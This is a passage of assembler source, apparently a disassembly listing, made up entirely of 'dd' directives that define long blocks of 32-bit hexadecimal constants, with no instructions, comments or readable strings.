		dd 13501E4h, 8FC930B0h,	48CCC6F2h, 7F1CAEA4h, 466DD5Eh
		dd 0D0CAFC60h, 11D099BFh, 0E36200D3h, 37A40DC6h, 17B0075h
		dd 54CAB47Dh, 7634DE45h, 90C3419Ah, 73EA070Ch, 5A2EC92Ch
		dd 0BC908798h, 91324074h, 1D7C684Bh, 0F0CB2400h, 0C380C205h
		dd 1A1212ABh, 0CF40884Dh, 4CB8C9E0h, 53585C13h,	3D9F9088h
		dd 78813ED6h, 55A30AADh, 52EEE8FBh, 763FF004h, 0D0C23C5Bh
		dd 23D310D4h, 0D23CB490h, 486BA429h, 3050CA15h,	83F6D8A5h
		dd 6E1B0F1Eh, 31C3FA49h, 3280473Eh, 8509A14Ah, 8458CAC9h
		dd 0F0C8EAD8h, 0B15203BBh, 25D56B57h, 0C0C0EDE2h, 5A02A1F9h
		dd 7FCE5FE2h, 0DD8714Fh, 40E152B4h, 0A248D300h,	0B8EB6828h
		dd 9CA44h, 5D54518Ch, 227097D7h, 6F0F4400h, 59A6CC39h
		dd 5F2A1293h, 0C1D430CAh, 0A91D5CA1h, 404086D1h, 0E9AE383h
		dd 0F4E10542h, 0CB624E77h, 2879794Ch, 0D47D7800h, 6F54E7F4h
		dd 9F0D3C72h, 2C9BBBA0h, 0B7833891h, 114D3CE0h,	3DCB1028h
		dd 0BE9E784h, 0A0BC6B4Bh, 0FC5F4AAFh, 906928ACh, 276890A4h
		dd 98A02EDCh, 39E120A5h, 5AB4C124h, 4973981Fh, 156AE04Eh
		dd 80FF4CDEh, 0D410348Bh, 0B60084E7h, 0D2D0CBF1h, 4AD2642h
		dd 62761931h, 1804C790h, 0E11F80BFh, 0C4D1E384h, 889B38FDh
		dd 70A41819h, 28503DD3h
		dd 68226C54h, 183448BEh, 0DD5A7680h, 8C007565h,	0EF79823h
		dd 1BDC815h, 0B6A8AD68h, 6C6B54FAh, 0A44502A4h,	84D374DDh
		dd 1405524h, 4CCEAED0h,	16054100h, 19BA4AF9h, 3DB1C23Fh
		dd 0C445113h, 4A02FE00h, 1D413330h, 20840094h, 70F451C7h
		dd 0C47C9366h, 547F6A08h, 294F9E55h, 921597A0h,	30910F38h
		dd 0A87113C6h, 588B52h,	386997B6h, 196567Eh, 1185FC2Fh
		dd 0BC50F14Ch, 30DE959Dh, 0F571737Ah, 4388F9EBh, 0D4F200F0h
		dd 9B2F8279h, 6D0225F1h, 0CBDEE6C6h, 5611C05Dh,	404B4A9Ah
		dd 0F68B98DCh, 0CE0205E7h, 26D4B2AAh, 1694F004h, 88F442F5h
		dd 3C0B97ACh, 817A9C76h, 0D34EA4E8h, 0C0739460h, 0AEDE5ED9h
		dd 7BF07493h, 2F1CF216h, 0E02E58D7h, 414829E2h,	2AB40B79h
		dd 0C90D5C6h, 771D69AEh, 2284BF1Dh, 88E26B4Dh, 8130D040h
		dd 925E105Ah, 1BDD1D03h, 802F17C2h, 4F4E7A08h, 4C9B4620h
		dd 510C8CE1h, 0EE187BD2h, 57B0258Bh, 799EB499h,	0E0EB1880h
		dd 0A9AB91h, 6C658342h,	0ACFC03BBh, 1907301h, 0B8A8C4D4h
		dd 605C58E6h, 7EC2A0DCh, 505ADF19h, 0D5CEEC60h,	5C88091Dh
		dd 40A0A0E4h, 0E9073034h, 9C10675Eh, 26D32D90h,	2D9E6A14h
		dd 1CA169DEh, 40994415h, 0F45AF184h, 9A622890h,	1548FC8h
		dd 22FCDE46h, 0D0C61498h, 0C33C5864h, 0DF713FB5h, 85B801A0h
		dd 0DCA01F48h, 7E158653h, 3760C0D0h, 28D2FA51h,	4F4D1AD8h
		dd 0E4C28993h, 0D3066871h, 4520AD28h, 1683983h,	35C9490Eh
		dd 0F830D6DCh, 0A36402D8h, 1353D725h, 25973061h, 39A837F8h
		dd 0EA8A80CCh, 1264764h, 0FA4300E5h, 0AA9AAB7Eh, 0AF0BE61Bh
		dd 1050F4C9h, 5C9DDC30h, 9501F054h, 0BE9BB34Bh,	72407045h
		dd 0D4495092h, 54174CECh, 7F4466CCh, 0C9951h, 33822328h
		dd 1700F187h, 0ACB422BDh, 0A4EDA803h, 0EDE00A4h, 3C8D775Fh
		dd 0B40123F6h, 0C7140537h, 0DAF04C0Ch, 98174875h, 0A84C928h
		dd 734DB321h, 0D8921444h, 0ED89C732h, 0F200C87Ah, 0DD812EA1h
		dd 2ADBC1Ah, 88556784h,	364042EBh, 1048E5B2h, 648FC1F0h
		dd 8A403283h, 7E08F4h, 34E3CEFCh, 0FDB3D5FFh, 3D204205h
		dd 28D1B461h, 0D3CC53C9h, 992200BBh, 5EF61959h,	0D917045Ch
		dd 0B418B340h, 0E1226A9h, 0BF1BDC56h, 800CC392h, 98AE09FCh
		dd 0B48E58h, 0CB2B5F7Fh, 0FBA3B129h, 5EACDE00h,	0AFF9ADC1h
		dd 1FD000FCh, 0B46272FDh, 49883B8h, 91CBC625h, 31F978h
		dd 0A28118DEh, 0DC0B26E8h, 0E47C6273h, 40D20178h, 0B547E1F0h
		dd 98DC4852h, 151F4500h, 5C91E578h, 619F0099h, 1C72F744h
		dd 4103652Eh, 8D1B7FBBh, 466833D0h, 4FC8C90h, 408C659Dh
		dd 2BD700E1h, 0DB4AE73Bh, 6BFE8884h, 0F7277C01h, 53023908h
		dd 6C94A478h, 9B1B5E00h, 818C7C69h, 730CF119h, 634E79h
		dd 5D9DEE00h, 58D2FEDEh, 5611A0BCh, 0E4FC3C00h,	0E12E3BD6h
		dd 0F8BA520Ch, 25B609Dh, 875A1576h, 2740CEE4h, 0ED00DBA1h
		dd 6C7C94Ch, 94DDC39h, 0D070DE85h, 48CEFC11h, 40B5BB0h
		dd 684C240Fh, 0BD8138h,	0AE68217Ah, 0B4580B7Fh,	0F94C2DFEh
		dd 92CAC0F0h, 53D7ACB2h, 0A42EC061h, 0C9D9191Ah, 0C9A86277h
		dd 0ABDD8090h, 0B82A8EF8h, 0E1EB09A1h, 5460A134h, 0FCBC4D4Fh
		dd 0BCC00B44h, 0B9866CAFh, 24511168h, 7240D04Bh, 0E92782Eh
		dd 0ACD68D38h, 0F6B0F4A1h, 0AECC4B9h, 74E531C2h, 0E0D454C8h
		dd 0A489901Fh, 6497DC01h, 0B7D7ABBBh, 0F788AC79h, 1454099Fh
		dd 418912C3h, 0C0C3100Bh, 24D130ACh, 92A48CD0h,	0ED580885h
		dd 50752EBCh, 0D7C758h,	7A0BD43Fh, 425857DDh, 2504E803h
		dd 0A8FFA7C9h, 0B7F1131h, 9ECA15CCh, 0C0995480h, 7114B3D1h
		dd 2FC2410h, 74DE529Fh,	0ED7072E3h, 8AC6F030h, 56403856h
		dd 4A4878h, 0CFA8797Bh,	5D6B2287h, 340B1802h, 56267472h
		dd 0E49B441Ch, 0F050ECCCh, 18BE7464h, 1965E94Fh, 0CC401A5Ch
		dd 9759387Fh, 0FBB05C10h, 1933FA00h, 0C9061217h, 44DCBC1Bh
		dd 0BA408886h, 54965F0Eh, 1C30567Fh, 9515A457h,	7DB58491h
		dd 0DEAFC34Ch, 807DD008h, 2EE51FE8h, 30B35282h,	0DB77BEFCh
		dd 67319000h, 0CFF49396h, 640251DDh, 9D3176D5h,	14B3C4E8h
		dd 0A8572F7Bh, 3F839453h, 914CD7E4h, 7D6811C4h,	31CD5118h
		dd 7C00EB33h, 62EE2B43h, 0F92EFCF1h, 7631D87Dh,	0E2BD7B61h
		dd 40D4D112h, 5138A3A5h, 6FD74503h, 0F89D6269h,	16677E43h
		dd 28CE4C14h, 0F600884Ch, 2F592854h, 920341Eh, 4D7FBA38h
		dd 4F14C052h, 221C7E62h, 610200CEh, 0AF318F56h,	444A039Bh
		dd 90F28C94h, 18C97B00h, 0DE266DE5h, 232AA10Fh,	71214073h
		dd 13FF52A4h, 54839A02h, 0E1A0F85Ch, 0C018563h,	47B3248h
		dd 0A8528BFBh, 0C014E1CEh, 6C29B862h, 7B2A60A8h, 0C1EC319h
		dd 0BB99AE2h, 0C8E5B318h, 2452A1BCh, 0ADBC6BD1h, 0D44F8C98h
		dd 0CA51F461h, 70338BF5h, 499EE100h, 0D88ADE4h,	12D2AF3Ah
		dd 0AC0B5185h, 0F78024Ch, 0F86650h, 0F43D3016h,	5516D2Ah
		dd 0EC1C2E07h, 6B8072AEh, 48349642h, 92807C81h,	171DC920h
		dd 6757CA00h, 4DC8F34Ah, 0FCEC0096h, 29B4B372h,	0CD78A256h
		dd 0E83B441Eh, 0E24017C0h, 0BC4C417Dh, 0CD4B802Ch, 0E37ADA9Dh
		dd 880E7000h, 209BA67Eh, 0E218008Eh, 2909A79Ch,	40E25776h
		dd 0E01BF629h, 9030F913h, 5CD738h, 2A1A6F91h, 0BBC5ABF0h
		dd 1E146900h, 5E7FB38Ch, 0AC41F10Ch, 0C060A5CAh, 0B0AD95D1h
		dd 271C2D16h, 5FC04834h, 44310724h, 628817h, 352B2A29h
		dd 0A40C9228h, 1084A081h, 1C570A64h, 0C2661B26h, 0D92E61E1h
		dd 244CD492h, 4C156A16h, 11000027h, 0FEAE8Eh, 3868A8F5h
		dd 815E4F9Ch, 0C95121C6h, 92E20099h, 0EB5BDCD1h, 0B7381FF4h
		dd 2FED8099h, 5E6001A8h, 52AD0515h, 0D0B33FF5h,	0EEC9B4FCh
		dd 74DDD309h, 34582384h, 997C4Dh, 0A1D58A38h, 0E2FF8209h
		dd 0F3693301h, 9B182B97h, 4F5C61CAh, 0CC24283Ah, 0C9016601h
		dd 8B62C057h, 0F8B9DCh,	0DAF70BB4h, 0F40950FBh,	0FC176090h
		dd 7430BA9Dh, 254E827Eh, 48C4C34Fh, 48D0D84Eh, 3D1CD4A3h
		dd 3B806B0Bh, 4404B429h, 0D8923A8Ch, 83E744h, 0F34C0A50h
		dd 0E5BC0827h, 0D32ED176h, 541340DCh, 0D803B4B2h, 2F4D62A2h
		dd 0CA754BC0h, 80182D58h, 0D7C0E941h, 0EEF00CBh, 8530A9ACh
		dd 0BAFE74A4h, 34820494h, 0AACAAF1Dh, 0C8B8A0A8h, 0F860803Ch
		dd 0FB016Fh, 669184E8h,	15C43B3Ch, 0A5CB3D01h, 5CECA47Eh
		dd 3E5E185h, 0E3E812BFh, 0B4CE071Ch, 9AD0F720h,	0D36C37h
		dd 77590915h, 162779C7h, 2A9C3F48h, 0E8EF3C75h,	1A00FF19h
		dd 0D984A1Eh, 6B9801Dh,	0F07360FBh, 0D4B429EEh,	4F667240h
		dd 0CF24031Eh, 0C2D4FF75h, 0C7C42DD0h, 0D0A4F624h, 0E503DE09h
		dd 0D89D0E6Ch, 0F8DD2E1h, 0DFCECC4Fh, 46961E0Ah, 6826EE3Bh
		dd 0AA6A4940h, 126CE89Bh, 94ECCD37h, 62CC0ECh, 5000E325h
		dd 7AFFE01h, 196F20DFh,	307578D7h, 3EB867D1h, 5FE4C9Dh
		dd 0C8F9097Bh, 8CA84884h, 0E094E187h, 3C10ED2Ah, 34DE6208h
		dd 7B0F8049h, 3ACD0906h, 0BD8A5D05h, 4CCC81FDh,	7EED0EEFh
		dd 27E09C90h, 0D1217350h, 2300F6B8h, 0D874D9F5h, 1DD275E4h
		dd 28C6ED0Eh, 40149C64h, 0D8121FF7h, 2A0F5E02h,	0C1AB3B89h
		dd 186CCACCh, 8A07C00h,	73B0E2D5h, 0C4E2A0B6h, 0D8DE0556h
		dd 5C163C38h, 2C2315BAh, 0C635F05Eh, 0DC583DFEh, 0E84A7Eh
		dd 94265C88h, 804B6B4Eh
		dd 954CE48Ch, 98651420h, 5458BCAEh, 0C40D2C24h,	0F602D104h
		dd 3204401Fh, 0F5F76273h, 0E4402FFDh, 88198F18h, 501B3A79h
		dd 89BB3680h, 97AEDE0Fh, 684E740Eh, 8B6A64D3h, 1BA8C856h
		dd 298FBD00h, 44075E67h, 0CE74007Dh, 4D9E1E1Ch,	5D13CF68h
		dd 0FC9102DEh, 203ED5C6h, 749F0370h, 2DE5A309h,	4AE4D871h
		dd 0BC1490EDh, 120498E8h, 0FDD21D27h, 0A0C868C4h, 0E5CA059Dh
		dd 0E43534E1h, 0B7036ABCh, 6F4C45C9h, 98707798h, 0E9E42534h
		dd 68002C6Ch, 95F59B6h,	0F036229Ah, 3493F6h, 579754EEh
		dd 5AE429C9h, 0C80BDC77h, 10477EE6h, 1D45E14h, 0EDF091E7h
		dd 40CAC682h, 0B0EFB36Ch, 0CC4C53h, 1D5A98CFh, 148696CCh
		dd 0F8315140h, 7F0FB856h, 26606182h, 3385DAD7h,	939FD00Eh
		dd 19885F4Ah, 4C468334h, 0A9539A32h, 92F70070h,	0D16EEFCDh
		dd 2696F493h, 0BFF01Ch,	46078C90h, 3BFDD7DCh, 44D5D049h
		dd 0CE341B00h, 5948384Eh, 24212298h, 999760h, 4775E1C6h
		dd 0E3709F8Dh, 742BC200h, 420AFD57h, 7C09051Ch,	5C48866h
		dd 0CC40E080h, 9A00B734h, 6051FDEh, 0EEB3E5h, 0F0CE2EE9h
		dd 0E6194C08h, 7BBD1A3Ch, 5605D0B3h, 90101876h,	134E2280h
		dd 0A2C14BFAh, 0EFBB0020h, 0B3E8E5CDh, 27AC91A2h, 401F864h
		dd 5DDF2BE4h, 0C3F409AFh, 0C69C0129h, 2CF54716h, 0B03379h
		dd 40389643h, 804A66h, 133AED1Dh, 0FBDE0408h, 0B0E9CF25h
		dd 19E469Ch, 0B65A7E6Ch, 22518242h, 0E3860374h,	33F5B31Ch
		dd 5C98EF8Ch, 524D02Dh,	94B27434h, 84EE8Ah, 0D8C6F7E2h
		dd 0AE80EAD4h, 3892176Ah, 1A4954Ch, 0A4693446h,	8CC8D3BAh
		dd 2600F480h, 6F444263h, 17E010E3h, 0A129B3h, 0D3F5F67Ch
		dd 16761A31h, 30FF5B00h, 0F703B47Fh, 7ADE294Fh,	0EB093E9Ch
		dd 44CCE978h, 0B1DE3600h, 3CAA3B20h, 0A6DF016Eh, 0ED92FB0Eh
		dd 306080C8h, 0F57EADC9h, 48621E75h, 0DC540BAFh, 0EDE9350Ch
		dd 6FE544h, 0A52A594Eh,	0E8ECCF70h, 0AA7A19C0h,	3D92715h
		dd 0C4868B40h, 0CFE85473h, 5D0952EDh, 64517EE7h, 90127DA4h
		dd 0A150325Ch, 9C84E5A9h, 0CB5B4453h, 2FE6E4C2h, 0E99970E6h
		dd 0B4216AF9h, 0FAF0C769h, 4CC57101h, 0C916D548h, 272CA4ECh
		dd 6F172003h, 0DA150A29h, 0BD2C60F9h, 69B088CFh, 3C769009h
		dd 0F65C68E4h, 0E3D1071Eh, 0A26BA622h, 0B8901155h, 0BAFD51B3h
		dd 17AE0029h, 8311A5D0h, 10E5093Bh, 0ECD9BB34h,	72804A1Fh
		dd 0C1E62BFBh, 86F61C60h, 0B46D40ACh, 0B33C8323h, 0FF2EAF04h
		dd 0FCC0C6B0h, 139DF841h, 0F5E45B9Bh, 32CBF5D8h, 5FE1C084h
		dd 46DDF19h, 6914B4D1h,	2DFC882Eh, 0C6FCCB01h, 55055CEEh
		dd 0A742E0h, 81A19630h,	0F0532AA8h, 0C9D05250h,	0F372BAE0h
		dd 0B362F5F4h, 4470DEE9h, 2A9D172Ch, 0D2390DAEh, 0BBD04CA0h
		dd 0FC866403h, 0C14F9EB0h, 8BE013EBh, 59E50040h, 0E1B2BDB9h
		dd 0C4980D15h, 7FCC9B02h, 465679DAh, 0FE3607DCh, 40B434E4h
		dd 0AB4039C1h, 0AEC9F301h, 7E504D10h, 56BC226Ah, 0C91B4F27h
		dd 0CC217BB0h, 44207EECh, 0CCB05E1Ch, 97525422h, 0D513B7F8h
		dd 204C3Bh, 7EC52Dh, 294FA709h,	6054E83Ch, 9D0AE9E4h, 80EA4DFDh
		dd 567FB301h, 0F2EADE1Bh, 990A0B68h, 8C19A1B4h,	844C2CCBh
		dd 0A528CC69h, 43A2E8A0h, 0D41D1BECh, 0B1802B02h, 0F2E640EDh
		dd 235C5F73h, 0D69098D8h, 5600DDA7h, 2F22A123h,	50A347h
		dd 0D1803E6Fh, 4CB40A0h, 51B45C1Ch, 238EB7Bh, 2B866BB8h
		dd 35007844h, 38733F0Ah, 24A0C3h, 2B991911h, 5A6B1E22h
		dd 0B44E2F7Eh, 0FF8ADC20h, 2F27A60h, 675F042Ah,	307E2BB0h
		dd 71259B40h, 17550503h, 3A1CF90h, 0B9F0D79Fh, 0D082BAC2h
		dd 0EE21E968h, 0F8704010h, 0AC6458F5h, 0E03178C0h, 0F77BD5A5h
		dd 300C6251h, 75895418h, 911080F5h, 6B0017ABh, 634A3D15h
		dd 0BC6C305h, 181AA70Bh, 402F80Bh, 1C62A98Eh, 0E101E866h
		dd 0BA5B73FCh, 0F02C2738h, 3A4CA96h, 0AB09E0B3h, 5A219055h
		dd 71574A9Bh, 2DDC004h,	0C66C625Bh, 8BDE4AF0h, 0E5B600D4h
		dd 80442941h, 0C6B00D2h, 54D87657h, 484C75DEh, 3145689h
		dd 97C21922h, 997DD0B5h, 6DB401A5h, 3633EC7h, 81A82CCFh
		dd 30F506AAh, 3953FCh, 7F4FD988h, 0B0EA4170h, 69B35000h
		dd 6AA59F29h, 0AA8CA0FEh, 914FE8FCh, 91BF6010h,	0B10055F9h
		dd 586B7693h, 1A4745B7h, 504B32E0h, 108388C1h, 6EE414h
		dd 0B276DDB9h, 64AFED18h, 4A43109Eh, 0F3C4889Ch, 0A96D00B5h
		dd 124F3370h, 36010D42h, 0C5D70657h, 0A5E25277h, 94D19D80h
		dd 62085920h, 0EC20F75Bh, 0C6A96E0h, 9B4BF866h,	9FCCA69h
		dd 0F0197FCh, 1BC91265h, 0C1D2DF15h, 0DE11ABDCh, 0C8203A7Bh
		dd 774D9975h, 5CEFFC82h, 0D488A8FCh, 0A04A5B45h, 84117C40h
		dd 0F03F6700h, 2D7AB7C5h, 9816F70Bh, 1E487186h,	0A5498773h
		dd 0B9850090h, 0F9010F9Eh, 44AB5CA3h, 0ECC4326Ah, 69FB6024h
		dd 4F4D557Eh, 54D491B5h, 625E20E6h, 82B5C6B2h, 7A7A2DFCh
		dd 35700E4h, 35627325h,	1C5C48A1h, 0CBD31A38h, 0BC404359h
		dd 0B2CA135Fh, 3A0321DCh, 0E857980Bh, 0F208DCB1h, 1D625204h
		dd 0E2C1E82Ah, 54407234h, 701BB28Eh, 40E0B4CEh,	162BF1A3h
		dd 8419BFE8h, 96195EC9h, 0C33D3FDh, 0C8576416h,	508A8604h
		dd 0C82A4BC8h, 7BE230DCh, 0B02F0300h, 9A79CF97h, 0F2EB2FB4h
		dd 807DD461h, 4972F72Ah, 502DC9B6h, 4466385Ah, 38217F7Eh
		dd 756C1656h, 0BDEC9120h, 8F9C3D52h, 7BC4C023h,	334BCC2h
		dd 8FE1AF45h, 4DB0BEA0h, 0D202BF3Ah, 0A6DE73E8h, 0EA68E1A2h
		dd 22481715h, 14F3CD08h, 31132780h, 0F6375D4h, 85580CA3h
		dd 4C964D69h, 170BF00h,	97F319B4h, 1A580B1Ch, 0E029E114h
		dd 853EB879h, 31A19075h, 7D45F1C0h, 0CF62193Ah,	10E998D2h
		dd 0C0E634E1h, 0A1AD5EE9h, 0B8B464E4h, 0C9B41403h, 0E0582E53h
		dd 205096DCh, 3EFF3268h, 35A2B201h, 0B6C49DCAh,	0D7F88A21h
		dd 2FBF76B0h, 50B85FEBh, 0B09C87Ah, 4169E161h, 50D29D68h
		dd 0DDFA1638h, 0AFAC207Bh, 0DC1855C9h, 1A805E73h, 15E8E9E9h
		dd 0CDE70F4h, 0B94B660Ch, 0D0007859h, 407EBE27h, 7BCF4205h
		dd 0EBF8027Fh, 0E43DF0D5h, 0C0007064h, 4F17BD62h, 0AF6685h
		dd 0B8CFB5B4h, 0D324983Ah, 0CD02BCB8h, 504F9ABAh, 2DD07126h
		dd 0FB016CC4h, 701B0C89h, 39205139h, 0E2290071h, 0A70DACF5h
		dd 20F79FE9h, 0C748DCACh, 0E53960BBh, 2E7496A6h, 1C84CA14h
		dd 4C76008Dh, 0ECC9B0ADh, 8423B313h, 58CCEC30h,	3A0AB83Dh
		dd 800FF25h, 55B43105h,	53030204h, 0D3C7CA54h, 463125F5h
		dd 0F120D4A1h, 0AB3FF439h, 9F0E7907h, 81BE82DFh, 8959E183h
		dd 0FC229438h, 9B4D2492h, 0ED487894h, 68A7DDC8h, 0C21DF8h
		dd 38BD9C45h, 0C579C3BFh, 0C8206EFBh, 0E85937h,	96406765h
		dd 0BAA1CB0Fh, 0A07AE7Ah, 9E5A4971h, 0EDA3EC91h, 601468A6h
		dd 9C1AB507h, 0FC243Ah,	0DBC41460h, 2EF1F2h, 1CFE511h
		dd 9EDC2CB7h, 6AB30C00h, 0C79B368Bh, 1303E6D9h,	44C5CC9h
		dd 52271A54h, 0A1004CB2h, 7CDFE4A7h, 1D000F17h,	9320FD05h
		dd 588B464Ch, 0CF220C23h, 0E6D5C62Fh, 740902B0h, 277669ADh
		dd 0E29474E1h, 0D13060E0h, 0F0ED0E2Ch, 4D836160h, 15FA3FEEh
		dd 9CC548EBh, 64324900h, 504C1AAFh, 47DD961h, 0A5D38C45h
		dd 0E3BC8554h, 0FC6A1010h, 248C10D6h, 64A0512Fh, 0B98C4797h
		dd 20C4B603h
		dd 0E801C681h, 0C4CD9FEh, 50E02E57h, 28BF13E0h,	7E00302Ch
		dd 0D3DA3F16h, 8431176Fh, 0C6D8023Ah, 0AE20FCD6h, 24795EB4h
		dd 9C8C248h, 0A8DBDC38h, 551B7F05h, 2C480C8Bh, 0DE44333Eh
		dd 9049034Ah, 2021011Ch, 0BFD35528h, 76045742h,	2D78A0D4h
		dd 4C9134EEh, 6B8C5CB4h, 0DCC8598Ch, 5CE85076h,	4D0313C7h
		dd 8DC031D3h, 0E9C2DECh, 4469A84Ah, 6C0FD35h, 0B82334Dh
		dd 5BFC1EFAh, 10E17802h, 269E4DEh, 464BF0B0h, 9F3100B0h
		dd 0EB1627E0h, 0A3015E03h, 0AEC21F24h, 0A4FD4789h, 884A406Ch
		dd 13016AE4h, 3BAD7998h, 0C3C5F66Fh, 0E5A8086Bh, 30207B44h
		dd 0BC8852ECh, 0AB2D0069h, 0F9CEE343h, 53487FB2h, 18FD80D0h
		dd 729832A9h, 733E09D3h, 4CC852B3h, 0CA038CB2h,	891D3985h
		dd 0C7BB90D8h, 0FDAF0EBFh, 0D32004A8h, 0F6EAE725h, 6BC8CC12h
		dd 53D8B001h, 1BD4AD3Ch, 2BB4134Ch, 49A48882h, 0B8043B97h
		dd 5BDE4001h, 0CA882071h, 38B58498h, 7A0104h, 73437116h
		dd 0B8F33972h, 822F6925h, 7A9CCAE4h, 197D74A0h,	0E96720BAh
		dd 8C32EDh, 0FFF34D4Fh,	2561906h, 841173C1h, 55772A0h
		dd 0C884C08h, 75237BA1h, 1C5E0015h, 262AA359h, 0A80F03CAh
		dd 0D2BA0FCDh, 33682C32h, 886A82D2h, 0C300D871h, 688CE2F0h
		dd 3C63E6Ch, 24DC7D80h,	0A585FA9Bh, 0DC5E0C24h,	0C1656F1Eh
		dd 106D6BACh, 7192E3C0h, 0F9078790h, 0FF78683Fh, 0CDD1ADF0h
		dd 0FA84AA7Eh, 52E57D20h, 0E422803Bh, 5A390C00h, 4CE3C20Bh
		dd 0F34F0158h, 8559686h, 0E1A42097h, 6C9C34B8h,	25D7AE94h
		dd 0B7987247h, 0ECA4B818h, 5BE91661h, 0CC3C1CBAh, 58C7C898h
		dd 5175DE12h, 78C14CA9h, 0EF21AD0Ah, 4CC3294Ah,	0F5290036h
		dd 1AF743D2h, 4B7EE33h,	0E340F9F8h, 4EB61CD7h, 0F181BD0Fh
		dd 486E8021h, 5B2D65D8h, 933B0BF9h, 0B6003C64h,	43B94833h
		dd 0C3754Fh, 21088BADh,	0A5ED2F05h, 2754D05Dh, 0B1EC667Eh
		dd 926B1078h, 52E32C04h, 0D4545E09h, 0AC110C04h, 0DC1D70C0h
		dd 8820B52Eh, 8F881769h, 253FF103h, 0D18E2D10h,	63C0B1CEh
		dd 0B4740B1Ah, 0F882F5CFh, 0CC0A3AEh, 4F259937h, 90F85166h
		dd 281A93BDh, 68D87930h, 14B514C4h, 81FCEE16h, 3FD4C6C8h
		dd 70C22C24h, 3A582A54h, 64D46145h, 1B88CED0h, 0AFD30E8Ah
		dd 0E4E5D22Dh, 82A4C572h, 7059C984h, 41E87614h,	0D24412F0h
		dd 804480E6h, 8B6E1h, 0B392FC41h, 0FF1EA8B4h, 28098332h
		dd 34D4093Ch, 965EF8D0h, 5C64AD6Ch, 2EA79107h, 0CF909DC1h
		dd 2502F7h, 30534167h, 21A25626h, 9CCE6C13h, 8058A887h
		dd 0B42FC9F5h, 0C7A06889h, 5CB946FCh, 554DBA84h, 65D35E47h
		dd 0C9D40443h, 1130B25Dh, 0C85F83D1h, 0F80172A0h, 0D62D9AC9h
		dd 0B4689E59h, 5321BCD0h, 579F2DE1h, 0C7596F0h,	9A9303BAh
		dd 0D528C770h, 0CA5420E5h, 0FC59A9A0h, 0B301658h, 0C94088h
		dd 684524D0h, 0E45B1142h, 92807896h, 7F030B4Dh,	0F0277083h
		dd 20B35E65h, 0B9F39D50h, 72F71E09h, 1E4C4A4h, 0F83080C9h
		dd 0FCA1417Eh, 0C3009D7Bh, 0FC256EE4h, 60D1C6CAh, 76E5A1F6h
		dd 0B8BC3DC9h, 0E20BA0C0h, 97285CE0h, 0EC00473Fh, 0E43DF27Fh
		dd 30168277h, 44E6515Ch, 0A029EE1Dh, 1D8C2880h,	0F8570F00h
		dd 5CE3D385h, 0C6A60737h, 707E2ABAh, 0CE0673A5h, 98A6BDF2h
		dd 0D403FA00h, 4CFCF42Ch, 69F562D1h, 21409ECAh,	0D055C7DCh
		dd 9583018h, 0F678960Eh, 588566CEh, 16C90088h, 15D7BF41h
		dd 0D60BAB42h, 0C4AEFBF5h, 653410C8h, 0E17C804Bh, 0B37AC0h
		dd 0CAB09333h, 76029A0Ah, 15D9E700h, 0ACB81611h, 5D851703h
		dd 0E4C430B4h, 0F801763Eh, 0E8A522E0h, 51CC7524h, 94019F6Ah
		dd 0FCE1CAA1h, 5C0F13E2h, 92544AE4h, 0E6C0FCA8h, 471CFF6Dh
		dd 6E034598h, 2DA78774h, 99C2F98Ah, 8FA8202Ah, 3005B9BBh
		dd 13E4667Eh, 1160F0C2h, 96C91150h, 1FAF63C8h, 0DD1303F4h
		dd 4E98023Ah, 0A890F650h, 0B4095E06h, 8A2412FBh, 4C64B448h
		dd 17E5748Ch, 89438FCh,	5E8022F8h, 0AE2FE19Bh, 0DFA1050Ah
		dd 0EC8E70F3h, 0E456C3ECh, 0A1990B35h, 4CFB78ECh, 615D7382h
		dd 287E60EFh, 4D140079h, 6A75537Bh, 0F2008A9Ch,	59637E0Dh
		dd 7322279Dh, 3C4D98B7h, 0BE8FEE57h, 0AAA1FAADh, 809E11B8h
		dd 3A4CEF10h, 1048B0Dh,	1A53E20h, 0E4D612AFh, 38C0AE2Ah
		dd 0F1862D1Eh, 4EE5002Eh, 71074516h, 0DB16255Ch, 3001C29Fh
		dd 0D8BCFDEEh, 0FF196987h, 80A31016h, 29B8EC01h, 98251331h
		dd 8D012139h, 61BE58h, 0EF563FBBh, 307AB32h, 5C470396h
		dd 5100D7BDh, 0E1CCDD97h, 18B45FA9h, 0C8EC89C2h, 0B550A8DEh
		dd 8D002340h, 80932959h, 32C9C5Ch, 0D31456B6h, 0BCA1551Bh
		dd 0F35180A5h, 5824FFC1h, 51EC00B3h, 0CEDBBD84h, 8C30648Ah
		dd 3F33996Bh, 0C7053ED4h, 9700FAD8h, 0D1F2CC55h, 88005201h
		dd 0F983E98Ch, 4B48D2Ch, 0B68E10A0h, 0C33BC05Dh, 1E019B33h
		dd 8CFE50B2h, 0C44290ACh, 8DBCA32Ch, 5CB900B6h,	0B7AEAB04h
		dd 0C6FADABFh, 0BD4C19DEh, 6004B1DDh, 0ED0C392Bh, 94003055h
		dd 743B4D8Fh, 0A405E2D1h, 335C00F0h, 8AF7C6BAh,	8D30B657h
		dd 237E51AAh, 998601CCh, 2A4233FBh, 1C5FFEBh, 0A8A9B010h
		dd 7FF2E84Ah, 526394Ch,	0F8C7BD58h, 0C0AFD803h,	0B46940CFh
		dd 5169EE5Ch, 0F7F06486h, 0A9B72660h, 9B55070Fh, 0AF2680D3h
		dd 1CA0D8D9h, 200725A1h, 41ADC2EDh, 148C19ECh, 0F8BCB5A6h
		dd 0C5D1D380h, 4E1C5C05h, 0A300E387h, 1FDA0129h, 0D06D5438h
		dd 31D160BBh, 5A057560h, 15627700h, 0B118F3C6h,	0CEA90198h
		dd 0C587AA08h, 208EC0DDh, 0B1C23430h, 38AC0AD9h, 698F2573h
		dd 5138BCB8h, 4200A1DCh, 9E97C401h, 0DA1320h, 32584D3Eh
		dd 6857CBC5h, 59C7B01Eh, 234EC902h, 0ABEC912Ah,	8EE2A411h
		dd 0A0E9495Eh, 62DD016Ch, 0C7FE001Eh, 4A85D61Fh, 8C90052Fh
		dd 0E3ADDB3Dh, 548C39h,	50A458E1h, 0C74A878h, 0B62D9001h
		dd 0AA5261A9h, 0DE0CFE28h, 0AE39AC91h, 0B49FBF29h, 48724E0Ch
		dd 0C531331Fh, 20E3AFF1h, 61195CC3h, 0AD312655h, 7ED020h
		dd 9FD0CB24h, 451467A6h, 0E6B51E01h, 0B08D9B1Ch, 47356980h
		dd 0C5F4E2BBh, 3D49143Ah, 130FF99Ch, 6903C83Ch,	0CCC422FBh
		dd 378C90B7h, 9A6E00B1h, 0E43C20C0h, 5200B850h,	0F09D5560h
		dd 2499156Ch, 43740557h, 40C042B7h, 0DA3C4B7Fh,	0C2150049h
		dd 0F4557258h, 22489002h, 0B403ACBFh, 204F84EFh, 1F411428h
